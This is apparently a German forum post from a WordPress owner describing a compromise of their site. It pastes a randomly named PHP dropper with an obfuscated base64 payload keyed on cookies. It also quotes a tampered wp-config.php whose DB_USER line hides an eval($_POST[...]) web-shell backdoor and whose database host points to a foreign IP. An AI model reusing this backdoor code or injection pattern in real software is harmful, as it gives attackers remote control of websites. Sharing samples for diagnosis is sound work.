es wird eine php datei gerneriert mit nie dem gleichen namen
inhalt
<?php
if (isset($_GET[2343]))
{
die(md5(2343));
}
eval("\n\$dgreusdi = intval(__LINE__) * 337;");
$a = "QGluaV9zZXQoJ2Vycm9yX2xvZycsI6745VT674wpOw0KICAgI674Bpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7DQogICAgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOw0KICAgI674BzZXRfdGltZV9saW1pdCgwKTsNCg0KDQogICAgJGFwcHJvdmFscyA9I674ZhbHNlOw0KDQogICAgZm9yZWFjaCAoJF9DT09LSUUgYXMgJGNvb2tpZV9vbmU9PiRjb29raWVfdHdvKQ0KICAgIHsNCiAgICAgICAgJGFwcHJvdmFscyA9ICRjb29raWVfdHdvOw0KDQogICAgICAgICRtYW5hZ2VyX2ludml0YXRpb24gPSAkY29va2llX29uZTsNCg0KICAgICAgICAkYXBwcm92YWxzID0gcmVtb3ZlX2xldHRlcihfYmFzZTY0X2RlY29kZSgkYXBwcm92YWxzKSwgJG1hbmFnZXJfaW52aXRhdGlvbik7DQogICAgICAgIA0KICAgICAgICBpZiAoJGFwcHJvdmFscykNCiAgICAgICAgew0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBmdW5jdGlvbiBpbXByb3ZlX21ldG674oKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIF9iYXNlNjRfZGVjb2RlKCJVQU1RVjFvT674VnQkxVQXNIRT674xU1h3QVBTb6745WVk6741Q1V3RUxVMTFHUmxnQldGSUgiKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBhcHBlbmRfc3RyaW5ncygkYXBwZW5kLCAkc3RyaW5nKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICRhcHBlbmQgXiAkc3RyaW5nOw0KICAgIH0NCg0KICAgIGlmICghJGFwcHJvdmFscykNCiAgICB7DQogICAgICAgIGZvcmVhY2ggKCRfU6749TVCBhc
in der wp-config steht das dann - hat nichts mit meinem server zu tun
// ** MySQL-Einstellungen ** //
/** Diese Zugangsdaten bekommst du von deinem Webhoster. **/
define('DB_NAME', 'dsfs34dfdf');
/** Ersetze
username_here mit deinem MySQL-Datenbank-Benutzernamen */
define('DB_USER', 'c');eval($_POST['earvsqqsv']);//');
/** Ersetze password_here mit deinem MySQL-Passwort */
define('DB_PASSWORD', 'asfcvdiHIs8w9821####');
/**
Ersetze localhost mit der MySQL-Serveradresse */
define('DB_HOST', '62.76.46.195');
/** Der Datenbankzeichensatz der beim Erstellen der Datenbanktabellen verwendet werden soll */
define('DB_CHARSET', 'utf8');
/** Der collate type sollte nicht geändert werden */
define('DB_COLLATE', '');